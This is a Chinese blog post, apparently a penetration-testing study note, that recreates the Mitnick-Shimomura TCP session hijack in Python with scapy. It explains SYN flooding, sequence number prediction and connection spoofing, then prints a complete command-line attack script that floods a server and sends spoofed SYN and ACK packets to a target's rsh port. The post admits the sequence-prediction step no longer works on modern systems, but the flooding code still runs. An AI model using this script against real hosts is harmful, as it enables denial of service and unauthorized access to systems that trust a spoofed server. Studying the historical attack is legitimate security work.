前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Python编写渗透工具学习笔记二 | 0x05编写脚本劫持tcp会话

Python编写渗透工具学习笔记二 | 0x05编写脚本劫持tcp会话

作者头像
安恒网络空间安全讲武堂
发布2018-02-06 14:33:23
3.3K0
发布2018-02-06 14:33:23
举报

Python编写渗透工具学习笔记二

0x05编写脚本劫持tcp会话

主要是通过还原一个真实的攻击案例来进行学习,这个案例是Mitnick(下面用A来表示)闯入shimomura(下面用B来表示)的家用电脑系统。

主要用到的技术:SYN泛洪攻击和tcp序列号预测技术

情景

A要劫持B的一个tcp会话,B的电脑和某台服务器之间有可信协议。

主要做三点

  • 使服务器无法做出响应
  • 伪造来自服务器的一个连接
  • 盲目伪造一个tcp三次握手的适当说明

01

使用scapy制造syn泛洪攻击

简单介绍:

SYN泛洪攻击(SYN Flood)是一种比较常用的DoS方式之一。通过发送大量伪造的Tcp连接请求,使被攻击主机资源耗尽(通常是CPU满负荷或者内存不足) 的攻击方式。 我们都知道建立Tcp连接需要完成三次握手。正常情况下客户端首先向服务端发送SYN报文,随后服务端回以SYN+ACK报文到达客户端,最后客户端向服务端发送ACK报文完成三次握手。

而SYN泛洪攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文。由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,当然如果超过一定的时间内没有接收到客户端的报文,本次连接在协议栈中存储的数据将会被丢弃。攻击者如果利用这段时间发送大量的连接请求,全部挂起在半连接状态。这样将不断消耗服务器资源,直到拒绝服务。

实现思路:

我们制造一些载有tcp协议层的ip数据包,让这些包里tcp源端口不断的自增一,而目的端口总是为513

我们的目的是耗尽目标的资源,填满其连接队列,使服务器失去发送tcp-reset数据包的能力。

这里我们可以使用更高级一点点的脚本

随机生成IP地址、端口发送SYN数据包

02

计算tcp序列号

实现思路:

A为了完成连接,需要在syn-ack中正确地猜出tcp的序列号,然后把这个序列号放在ack包中发送回去。

在这次攻击中A通过测试发现syn-ack包中的tcp序列号之间差值均为128000

(现在大部分系统提供更可靠的随机化的tcp序列号,这个现在不太能用了,但还是可以用来学习一下)

我们先发送一个tcp syn包,然后等待tcp syn-ack包,接收到之后我们将从这个确认包中读取tcp序列号,并打印出来,重复4次以确认这个模式确实存在。

使用scapy时scapy会自动天上tcp,ip这些字段的值,它默认会从我们的源ip地址发送。

函数calTSN的作用是接收目标ip地址这个参数,返回下一个syn-ack包的序列号

(当且syn-ack包的序列号加上差值)

03

伪造tcp连接

得到了正确的tcp序列号之后,A就开始攻击了,首先他假

冒那台已经无法做出应答的服务器,发起了一个连接请求,接着他盲发了一个序列号为2024371201的ack包,表示已经正常建立了连接。

为了重现这个行为,我们先创建和发送两个数据包。首先创建一个tcp源端口为513,目标端口为514,源ip地址为被假冒的服务器,目标ip地址为被攻击计算机的syn包,接着创建一个相同的ack包,并把计算得到的序列号填入相应的字段中,最后把它发送出去。

最后整合一整份代码,实现这个tcp会话的劫持

因为现在tcp序列号不能像上面那个案例那样简单预测,现在的tcp序列号随机性更强,所以这个攻击暂时没办法复现,但是我们可以学习其中的分析思路以及在编程方面的思想。

04

工具完整代码

代码语言:js
复制
#coding=utf-8
import optparse
from scapy.all import *
#syn泛洪攻击
def synFlood(src, tgt):
    for sport in range(1024,65535):
        IPlayer = IP(src=src, dst=tgt)
        TCPlayer = TCP(sport=sport, dport=513)
        pkt = IPlayer / TCPlayer
        send(pkt)
#计算tcp序列号
def calTSN(tgt):
    seqNum = 0
    preNum = 0
    diffSeq = 0
    for x in range(1, 5):
        if preNum != 0:
            preNum = seqNum
        pkt = IP(dst=tgt) / TCP()
        ans = sr1(pkt, verbose=0)
        seqNum = ans.getlayer(TCP).seq
        diffSeq = seqNum - preNum
        print '[+] TCP Seq Difference: ' + str(diffSeq)
    return seqNum + diffSeq
#伪造tcp连接
def spoofConn(src, tgt, ack):
    IPlayer = IP(src=src, dst=tgt)
    TCPlayer = TCP(sport=513, dport=514)
    synPkt = IPlayer / TCPlayer
    send(synPkt)
    IPlayer = IP(src=src, dst=tgt)
    TCPlayer = TCP(sport=513, dport=514, ack=ack)
    ackPkt = IPlayer / TCPlayer
    send(ackPkt)
def main():
    parser = optparse.OptionParser('usage %prog '+\
      '-s <src for SYN Flood> -S <src for spoofed connection> '+\
      '-t <target address>')
    parser.add_option('-s', dest='synSpoof', type='string',\
      help='specifc src for SYN Flood')
    parser.add_option('-S', dest='srcSpoof', type='string',\
      help='specify src for spoofed connection')
    parser.add_option('-t', dest='tgt', type='string',\
      help='specify target address')
    (options, args) = parser.parse_args()
    if options.synSpoof == None or options.srcSpoof == None \
        or options.tgt == None:
        print parser.usage
        exit(0)
    else:
        synSpoof = options.synSpoof
        srcSpoof = options.srcSpoof
        tgt = options.tgt
    print '[+] Starting SYN Flood to suppress remote server.'
    synFlood(synSpoof, srcSpoof)
    print '[+] Calculating correct TCP Sequence Number.'
    seqNum = calTSN(tgt) + 1
    print '[+] Spoofing Connection.'
    spoofConn(srcSpoof, tgt, seqNum)
    print '[+] Done.'
if __name__ == '__main__':
    main()
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-12-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档